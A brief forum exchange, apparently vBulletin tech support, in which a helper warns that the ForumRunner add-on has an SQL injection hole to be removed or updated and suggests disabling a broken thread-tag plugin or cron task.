First one is SQL injection, delete your forumrunner folder as soon as possible or update it right away to the latest version or your whole server can get compromised (if not already).

As for the tagthread table, I don't think this comes with the vBulletin installation by default so it's probably one of your plugins that's broken.

I remove forumrunner folder thanks bro also can you tell me which plugin is broken ?

[Dave]

Hard to tell, go through your plugins that are related to thread tags and disable it.
Alternatively you can go to the scheduled tasks/cronjob page in the AdminCP and disable it.
